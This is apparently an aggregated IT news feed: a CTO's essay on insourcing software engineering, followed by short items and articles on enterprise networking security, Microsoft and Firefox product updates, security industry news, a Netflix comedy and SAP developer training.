<p class="wp-block-paragraph">Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as<a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html"> </a><a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html">insourcing, repatriating or backsourcing</a>) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.</p>



<h2 class="wp-block-heading">Building an internal engineering organization while still delivering</h2>



<p class="wp-block-paragraph">One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.</p>



<p class="wp-block-paragraph">When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.</p>



<p class="wp-block-paragraph">Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.</p>



<p class="wp-block-paragraph">After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.</p>



<p class="wp-block-paragraph">At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.</p>



<p class="wp-block-paragraph">The next challenge was hiring.</p>



<p class="wp-block-paragraph">In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a<a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing"> </a><a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing">product engineering model</a>, where engineers owned broader product outcomes rather than narrowly defined technical functions.</p>



<p class="wp-block-paragraph">During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.</p>



<p class="wp-block-paragraph">I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.</p>



<p class="wp-block-paragraph">Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.</p>



<p class="wp-block-paragraph">The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH &amp; CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.</p>



<h2 class="wp-block-heading">Managing risk without slowing down the business</h2>



<p class="wp-block-paragraph">The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.</p>



<p class="wp-block-paragraph">To reduce delivery risk, we approached the transition in layers.</p>



<p class="wp-block-paragraph">First, we focused on<a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/"> </a><a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/">infrastructure reliability and operational readiness</a> before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.</p>



<p class="wp-block-paragraph">Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.</p>



<p class="wp-block-paragraph">Third, we became extremely disciplined about scope management. One of the most common reasons<a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html"> </a><a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html">insourcing initiatives fail is uncontrolled change</a> during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.</p>



<p class="wp-block-paragraph">Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.</p>



<p class="wp-block-paragraph">By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.</p>



<p class="wp-block-paragraph">A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.</p>



<p class="wp-block-paragraph">My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.</p>



<p class="wp-block-paragraph">The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.</p>



<h2 class="wp-block-heading">Lessons learned for CTOs considering insourcing</h2>



<p class="wp-block-paragraph">Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.</p>



<p class="wp-block-paragraph">The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.</p>



<p class="wp-block-paragraph">Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.</p>



<p class="wp-block-paragraph">Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.</p>



<p class="wp-block-paragraph">The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Arista debuts unified SD-WAN edge platform]]></title>
<description><![CDATA[Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.



The company announced AI-driven Edge Threat Management (ETM) for VeloCloud SD-WAN, a platfor...]]></description>
<link>https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/</guid>
<pubDate>Wed, 22 Jul 2026 05:40:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.</p>



<p class="wp-block-paragraph">The company announced AI-driven <a href="https://edge.arista.com/edge-threat-management/">Edge Threat Management</a> (ETM) for VeloCloud SD-WAN, a platform that links typically separate products and capabilities including Arista’s next-generation firewall, IP reputation, external blocklists, intrusion prevention, URL filtering, application classification, geo-IP filtering, network address translation, deep packet inspection, and zone-based segmentation. </p>



<p class="wp-block-paragraph">ETM provides perimeter protection at the WAN edge and is a software upgrade option to VeloCloud SD-WAN, according to Arista. It can help simplify branch operations with a common operating system, a uniform enforcement engine, and common end-to-end security policies, the vendor stated. The new ETM solution also leverages Arista’s AVA (Autonomous Virtual Assist) for AI-driven policy intelligence.</p>



<p class="wp-block-paragraph">“Multi-vendor branch complexity creates the ultimate blind spot, and your adversaries are actively hiding in it,” wrote <a href="https://www.linkedin.com/in/brendangibbs1/">Brendan Gibbs</a>, Arista’s vice president, AI, routing, and switching platforms, in a <a href="https://blogs.arista.com/blog/the-unified-edge-for-a-secure-branch">blog post</a> about the new platform.</p>



<p class="wp-block-paragraph">Sprawling multi-vendor infrastructure creates operational headaches and increases security risks, according to Gibbs. “When you have four or five different point solutions from different vendors stacked on top of each other, configuring them becomes a manual, disjointed process. In fact, industry data shows that up to 95% of network changes are still performed manually, which inevitably leads to configuration mistakes, the single biggest driver of network downtime and security policy gaps,” he wrote. </p>



<p class="wp-block-paragraph">“When security policies are decoupled from local network routing, critical blind spots emerge. An attacker doesn’t need to break your cloud-delivered SASE firewall; they just need to target the unmonitored local traffic gaps between your Wi-Fi AP, your LAN switch, and your SD-WAN edge router,” Gibbs wrote.</p>



<p class="wp-block-paragraph">ETM is integrated into VeloCloud Orchestrator as a dedicated enterprise application. “This enables security operators to configure policies that build on the same source of shared network configuration while maintaining a dedicated management console for security policy configuration, provisioning, and reporting,” Arista <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-VeloCloud-SD-WAN-Edge-Threat-Management-Data-Sheet.pdf">stated</a>.</p>



<p class="wp-block-paragraph">ETM security policies are managed in VeloCloud Orchestrator. “Admins can build and assign reusable policies consisting of predefined objects and templates. This design makes updating security policies possible by a few simple clicks, while the associated changes are propagated throughout the network within minutes,” Arista stated.</p>



<p class="wp-block-paragraph">VeloCloud Orchestrator is the central management, configuration, and monitoring hub for VeloCloud SD-WAN and SASE networks.</p>



<p class="wp-block-paragraph">In addition, VeloCloud edge routers collect threat intelligence data from a variety of sources to determine in real-time the trustworthiness and identity of hosts inside and outside the network. Through integration with <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-NDR-Datasheet.pdf">Arista Network Detection and Response</a> and other web-based dynamic lists, administrators can identify suspicious hosts and build policies to block potentially harmful activities, the <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-VeloCloud-SD-WAN-Edge-Threat-Management-Data-Sheet.pdf">vendor stated</a>.</p>



<p class="wp-block-paragraph">Integration with Arista’s AVA policy assistant is aimed at simplifying management of branch security policies. AVA continuously analyzes configuration states and translates complex, multi-site security rules into plain English, Gibbs explained. For example, NetOps administrators can use AI with Ask AVA to predict “how specific traffic will be handled before committing to a deployment, preventing manual configuration errors that leave branches exposed,” Gibbs wrote.</p>



<p class="wp-block-paragraph">Arista also touted support for network-wide segmentation policies. “The flexible security policy configuration within the Edge Threat Management policy management extends the security coverage from the data center to the branch,” the vendor stated. “Security operations administrators can build access policies that are enforced across a distributed network. The centralized design enables admins to configure and deploy consistent zone based policies across the entire distributed network.”</p>



<p class="wp-block-paragraph">ETM is a significant addition to the Arista VeloCloud portfolio. Arista <a href="https://www.networkworld.com/article/4016270/arista-buys-velocloud-to-reboot-sd-wans-amid-ai-infrastructure-shift.html">bought</a> the VeloCloud SD-WAN platform from Broadcom a year ago and has been promising new technologies that expand the platform. ETM also could further the vendor’s <a href="https://www.networkworld.com/article/4111354/arista-rides-ai-wave-but-battle-for-campus-networks-looms.html">stated plans to expand beyond its data center networking roots</a> and compete more broadly with enterprise networking vendors such as Cisco, Palo Alto Networks, and Fortinet.</p>



<p class="wp-block-paragraph">In the SASE and SD-WAN world, vendors such as Cisco, Palo Alto, Fortinet, Cato Networks, and Versa Networks are among the most balanced suppliers, with both SD-WAN and SSE contributing meaningful revenue streams, according to a recently published <a href="https://www.delloro.com/news/sase-1q-2026-revenue-climbs-21-percent-to-over-3-b-driven-by-ai-governance/">report</a> from Dell’Oro Group.</p>



<p class="wp-block-paragraph">“We forecast that SASE will remain on a double-digit growth path in 2026, with SSE-first rollouts remaining the most common entry point, and SD-WAN supported by branch modernization, software attach, and branch security refresh,” Dell Oro stated.</p>



<p class="wp-block-paragraph">“AI is changing the SASE discussion from access and inspection to governance, data protection, and control over agents and machine traffic,” Mauricio Sanchez, senior director, enterprise security and networking at Dell’Oro Group, stated in the report. “A 21 percent Y/Y quarter shows that SASE is not waiting for a future AI refresh cycle; it is already absorbing the early security and networking requirements created by AI adoption,” Sanchez added.</p>



<p class="wp-block-paragraph">ETM for VeloCloud SD-WAN will be available in Q4 of 2026 and will be available for all current VeloCloud hardware and virtual edge platforms.</p>
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<title><![CDATA[European Password Manager Faces Scrutiny Over Russian Ties]]></title>
<description><![CDATA[A Spanish password manager used by European government agencies shares deep technical links with a Russian company. This arrangement has raised serious security concerns among experts. The company, Passwork Europe S.L., markets itself as a fully European firm. However, an investigation uncovered ...]]></description>
<link>https://tsecurity.de/de/3684945/it-security-nachrichten/european-password-manager-faces-scrutiny-over-russian-ties/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684945/it-security-nachrichten/european-password-manager-faces-scrutiny-over-russian-ties/</guid>
<pubDate>Wed, 22 Jul 2026 00:24:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A Spanish password manager used by European government agencies shares deep technical links with a Russian company. This arrangement has raised serious security concerns among experts. The company, Passwork Europe S.L., markets itself as a fully European firm. However, an investigation uncovered significant connections to a Russian counterpart. Passwork sells software that helps organizations store […]</p>
<p>The post <a href="https://privacysavvy.com/news/cybersecurity/european-password-manager-russian-ties/">European Password Manager Faces Scrutiny Over Russian Ties</a> appeared first on <a href="https://privacysavvy.com/">PrivacySavvy</a>.</p>]]></content:encoded>
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<title><![CDATA[How to manage Local File System autonomously with Microsoft Scout]]></title>
<description><![CDATA[Managing files across multiple projects can quickly become repetitive. Creating folders, locating files, updating configuration files, and cleaning up outdated content often takes more time than expected. Instead of manually handling these tasks, Microsoft Scout can automate much of the work by u...]]></description>
<link>https://tsecurity.de/de/3684933/windows-tipps/how-to-manage-local-file-system-autonomously-with-microsoft-scout/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684933/windows-tipps/how-to-manage-local-file-system-autonomously-with-microsoft-scout/</guid>
<pubDate>Wed, 22 Jul 2026 00:18:04 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="700" height="381" src="https://www.thewindowsclub.com/wp-content/uploads/2026/07/extend-local-file-manegement-with-MCP-tools.png" class="attachment-full size-full wp-post-image" alt="Managing your Local File System Autonomously with Microsoft Scout" decoding="async" fetchpriority="high" srcset="https://www.thewindowsclub.com/wp-content/uploads/2026/07/extend-local-file-manegement-with-MCP-tools.png 700w, https://www.thewindowsclub.com/wp-content/uploads/2026/07/extend-local-file-manegement-with-MCP-tools-500x272.png 500w, https://www.thewindowsclub.com/wp-content/uploads/2026/07/extend-local-file-manegement-with-MCP-tools-300x163.png 300w" sizes="(max-width: 700px) 100vw, 700px">Managing files across multiple projects can quickly become repetitive. Creating folders, locating files, updating configuration files, and cleaning up outdated content often takes more time than expected. Instead of manually handling these tasks, Microsoft Scout can automate much of the work by understanding your requests and interacting directly with your local workspace. In this post, […]</p>
<p>This article <a href="https://www.thewindowsclub.com/manage-local-file-system-autonomously-with-microsoft-scout">How to manage Local File System autonomously with Microsoft Scout</a> first appeared on <a href="https://www.thewindowsclub.com/">TheWindowsClub.com</a>.</p>]]></content:encoded>
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<title><![CDATA[Microsoft is Retiring Copilot Deep Research and Podcasts]]></title>
<description><![CDATA[Microsoft revealed on its Support site that it is retiring Deep Research and Podcasts in the consumer Copilot apps.
The post Microsoft is Retiring Copilot Deep Research and Podcasts appeared first on Thurrott.com.]]></description>
<link>https://tsecurity.de/de/3684824/windows-tipps/microsoft-is-retiring-copilot-deep-research-and-podcasts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684824/windows-tipps/microsoft-is-retiring-copilot-deep-research-and-podcasts/</guid>
<pubDate>Tue, 21 Jul 2026 23:03:07 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft revealed on its Support site that it is retiring Deep Research and Podcasts in the consumer Copilot apps.</p>
<p>The post <a href="https://www.thurrott.com/a-i/microsoft-copilot-a-i/339475/microsoft-is-retiring-copilot-deep-research-and-podcasts">Microsoft is Retiring Copilot Deep Research and Podcasts</a> appeared first on <a href="https://www.thurrott.com/">Thurrott.com</a>.</p>]]></content:encoded>
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<title><![CDATA[Black Hat 2026: Key news, takeaways and security trends]]></title>
<description><![CDATA[This is your guide to the breaking news, trending topics and more at Black Hat USA 2026, from Dark Reading, Cybersecurity Dive and TechTarget Cybersecurity.]]></description>
<link>https://tsecurity.de/de/3684754/it-security-nachrichten/black-hat-2026-key-news-takeaways-and-security-trends/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684754/it-security-nachrichten/black-hat-2026-key-news-takeaways-and-security-trends/</guid>
<pubDate>Tue, 21 Jul 2026 22:52:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This is your guide to the breaking news, trending topics and more at Black Hat USA 2026, from Dark Reading, Cybersecurity Dive and TechTarget Cybersecurity.]]></content:encoded>
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<title><![CDATA[A Sneaky Hacking Tool Targeting AI Infrastructure Is Lurking in Victims’ Blind Spots]]></title>
<description><![CDATA[A new type of malware can worm deep into AI coding systems to steal data and logins—and can flip a “death switch” to destroy files and keep out real users. This article has been indexed from Security Latest Read the…
Read more →
The post A Sneaky Hacking Tool Targeting AI Infrastructure Is Lurkin...]]></description>
<link>https://tsecurity.de/de/3684378/it-security-nachrichten/a-sneaky-hacking-tool-targeting-ai-infrastructure-is-lurking-in-victims-blind-spots/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684378/it-security-nachrichten/a-sneaky-hacking-tool-targeting-ai-infrastructure-is-lurking-in-victims-blind-spots/</guid>
<pubDate>Tue, 21 Jul 2026 18:40:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A new type of malware can worm deep into AI coding systems to steal data and logins—and can flip a “death switch” to destroy files and keep out real users. This article has been indexed from Security Latest Read the…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/a-sneaky-hacking-tool-targeting-ai-infrastructure-is-lurking-in-victims-blind-spots/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/a-sneaky-hacking-tool-targeting-ai-infrastructure-is-lurking-in-victims-blind-spots/">A Sneaky Hacking Tool Targeting AI Infrastructure Is Lurking in Victims’ Blind Spots</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[A Sneaky Hacking Tool Targeting AI Infrastructure Is Lurking in Victims’ Blind Spots]]></title>
<description><![CDATA[A new type of malware can worm deep into AI coding systems to steal data and logins—and can flip a “death switch” to destroy files and keep out real users.]]></description>
<link>https://tsecurity.de/de/3684331/it-nachrichten/a-sneaky-hacking-tool-targeting-ai-infrastructure-is-lurking-in-victims-blind-spots/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684331/it-nachrichten/a-sneaky-hacking-tool-targeting-ai-infrastructure-is-lurking-in-victims-blind-spots/</guid>
<pubDate>Tue, 21 Jul 2026 18:17:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A new type of malware can worm deep into AI coding systems to steal data and logins—and can flip a “death switch” to destroy files and keep out real users.]]></content:encoded>
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<title><![CDATA[Your Android tabs just got a lot more organized with Firefox]]></title>
<description><![CDATA[Tabs pile up fast on mobile. Imagine you’re planning a summer barbecue, and you start by searching for the best rib recipe. Twenty minutes later, you’re 17 tabs deep: comparing marinades, debating side dishes, checking the weather, making a grocery list and adding songs to a playlist. None of tho...]]></description>
<link>https://tsecurity.de/de/3684318/tools/your-android-tabs-just-got-a-lot-more-organized-with-firefox/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684318/tools/your-android-tabs-just-got-a-lot-more-organized-with-firefox/</guid>
<pubDate>Tue, 21 Jul 2026 18:12:07 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Tabs pile up fast on mobile. Imagine you’re planning a summer barbecue, and you start by searching for the best rib recipe. Twenty minutes later, you’re 17 tabs deep: comparing marinades, debating side dishes, checking the weather, making a grocery list and adding songs to a playlist. None of those tabs are organized. They’re mixed […]</p>
<p>The post <a href="https://blog.mozilla.org/en/firefox/tab-groups-android/">Your Android tabs just got a lot more organized with Firefox</a> appeared first on <a href="https://blog.mozilla.org/en/">The Mozilla Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[Ricky Gervais Says ‘Alley Cats’ Takes a New Approach to Adult Animation]]></title>
<description><![CDATA[Ricky Gervais has shared fresh details about his upcoming Netflix adult animated comedy Alley Cats, explaining how the series breaks away from traditional animation. During new press interviews, Gervais, Tom Basden, and Diane Morgan revealed that the show was built around live comedy performances...]]></description>
<link>https://tsecurity.de/de/3684263/ios-mac-os/ricky-gervais-says-alley-cats-takes-a-new-approach-to-adult-animation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684263/ios-mac-os/ricky-gervais-says-alley-cats-takes-a-new-approach-to-adult-animation/</guid>
<pubDate>Tue, 21 Jul 2026 17:59:51 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ricky Gervais has shared fresh details about his upcoming Netflix adult animated comedy Alley Cats, explaining how the series breaks away from traditional animation. During new press interviews, Gervais, Tom Basden, and Diane Morgan revealed that the show was built around live comedy performances, improvisation, and emotional storytelling ahead of its August 7, 2026 premiere.



The six-episode series follows a gang of foul-mouthed feral cats trying to survive while navigating everyday life in a harsh human world. Alongside its sharp humor, the show also explores friendship, grief, and mortality through the lives of its feline characters.



Ricky Gervais Wanted to Change How Animated Shows Are Made



According to Gervais, the biggest difference with Alley Cats came before the animation even started.



Instead of recording each actor separately in a sound booth, he insisted on bringing the entire cast together for every episode. The group performed scenes at the same time, allowing conversations to flow naturally and giving actors room to interrupt, react, and improvise.



Gervais explained that each recording session lasted far longer than the final episode. With nearly two hours of material recorded for a 15-minute episode, the creative team could choose the funniest moments while keeping performances spontaneous and realistic.



He believes that "audio is king" in animation, and the visuals should support the performances instead of limiting them.



Improvisation Created Some Wild Moments



That recording style led to plenty of unexpected comedy.



Diane Morgan revealed that many improvised jokes became far too outrageous to make the final cut. She credited fellow cast member David Earl for pushing scenes into completely unpredictable territory, often forcing the team to stop and ask whether certain jokes could actually stay in the series.



Those sessions helped create conversations that sound less scripted and more like friends talking naturally.



A Cast Built Around British Comedy



Gervais described the voice cast as the "Avengers of British comedy" because he wrote many characters specifically for actors he has worked with before.



Tom Basden voices Ponce, a well-kept house cat whose education and manners constantly clash with the rough street cats around him. Basden says Ponce often acts like an outsider while secretly understanding the softer side of Gus, voiced by Gervais.



Diane Morgan plays Olive, a cheerful but not particularly bright cat whose simple outlook adds another layer of comedy. Morgan joked that Olive quickly loses interest in Ponce after learning one unexpected detail about him.



Comedy With Genuine Emotion



Although Alley Cats promises plenty of crude jokes, Gervais says the series also explores emotional themes that have appeared throughout his previous work.



One important storyline follows the group caring for a lost kitten while confronting the reality of death for the first time. Gervais explained that childhood memories about losing pets inspired those scenes and shaped the emotional core of the series.



Morgan said viewers may expect nothing more than "sweary cats," but the show eventually delivers emotional moments that stay with the audience. Basden added that the story also looks at humanity's relationship with nature and the uncertainty every living creature faces.



Music and Release Date



The soundtrack will include songs from Cat Stevens, Coldplay, and Van Halen. Gervais also confirmed that The Smiths' classic "There Is a Light That Never Goes Out" appears in the series after both Morrissey and Johnny Marr approved its use, with Marr donating his licensing fee to an animal charity.



Alley Cats premieres globally on Netflix on August 7, 2026. The adult animated sitcom has already generated strong interest following its Annecy Festival preview, where audiences received an early look at the first two episodes.]]></content:encoded>
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<title><![CDATA[Ransomware victims fail to fix flaws that exposed them]]></title>
<description><![CDATA[Many organizations still aren’t securing their email or patching vulnerabilities after recovering from attacks, a new report found. This article has been indexed from Cybersecurity Dive – Latest News Read the original article: Ransomware victims fail to fix flaws that…
Read more →
The post Ransom...]]></description>
<link>https://tsecurity.de/de/3684250/it-security-nachrichten/ransomware-victims-fail-to-fix-flaws-that-exposed-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684250/it-security-nachrichten/ransomware-victims-fail-to-fix-flaws-that-exposed-them/</guid>
<pubDate>Tue, 21 Jul 2026 17:57:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Many organizations still aren’t securing their email or patching vulnerabilities after recovering from attacks, a new report found. This article has been indexed from Cybersecurity Dive – Latest News Read the original article: Ransomware victims fail to fix flaws that…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/ransomware-victims-fail-to-fix-flaws-that-exposed-them/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/ransomware-victims-fail-to-fix-flaws-that-exposed-them/">Ransomware victims fail to fix flaws that exposed them</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[SAP developers face education debt, user group warns]]></title>
<description><![CDATA[Many enterprises are investing tens of millions in modernizing their SAP landscapes, but are often underestimating a crucial factor for success, the training of their own developers, according to the German-Speaking SAP User Group, DSAG.



The user association urges CIOs to treat the continuing ...]]></description>
<link>https://tsecurity.de/de/3684227/it-nachrichten/sap-developers-face-education-debt-user-group-warns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684227/it-nachrichten/sap-developers-face-education-debt-user-group-warns/</guid>
<pubDate>Tue, 21 Jul 2026 17:50:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Many enterprises are investing tens of millions in modernizing their SAP landscapes, but are often underestimating a crucial factor for success, the training of their own developers, according to the German-Speaking SAP User Group, DSAG.</p>



<p class="wp-block-paragraph">The user association urges CIOs to treat the continuing education of SAP developers not as a voluntary training measure but as a strategic investment program in a new <a href="https://impulsant.dsag.de/wp-content/uploads/2026/07/CIO-Upskilling.pdf" target="_blank" rel="noreferrer noopener">report on upskilling</a> [PDF, in German]. Well-trained developers are essential for building stable, maintainable in-house projects without accumulating technical debt, but without continuing education during the upgrade to S/4HANA, the potential of the new technologies will remain untapped, it warned.</p>



<h2 class="wp-block-heading">Outdated expertise becomes a project risk</h2>



<p class="wp-block-paragraph">As the authors explain, while many ABAP developers have decades of experience with SAP R/3 or ECC and possess extensive process knowledge, development paradigms have fundamentally changed with S/4HANA, Clean Core, and <a href="https://www.cio.com/article/189599/sap-doubles-down-on-citizen-developer-strategy.html#:~:text=There%E2%80%99s%20also%20a,cloud%2C%E2%80%9D%20says%20Mueller.">ABAP Cloud</a>.</p>



<p class="wp-block-paragraph">In the long term, this threatens to lead to poor architectural decisions, time-consuming workarounds, and in-house developments that will need to be maintained with every release, according to DSAG. Many business consultants, too, are still relying too heavily on classic GUI transactions and not taking modern Fiori technologies sufficiently into account.</p>



<p class="wp-block-paragraph">The result is what the SAP user group refers to as “skills debt.” This debt remains invisible at first but later becomes apparent in the form of longer projects, rising maintenance costs, and a growing dependence on external service providers.</p>



<h2 class="wp-block-heading">Skill building must start before the project</h2>



<p class="wp-block-paragraph">The DSAG authors view the timing of training as particularly critical. Those who wait until an ongoing S/4HANA migration project is underway to begin building expertise significantly increase the project risk. A lack of knowledge about CDS, RAP, or Fiori leads to architectural decisions that must later be corrected at great expense. At the same time, the necessary learning effort can hardly be managed alongside day-to-day business operations.</p>



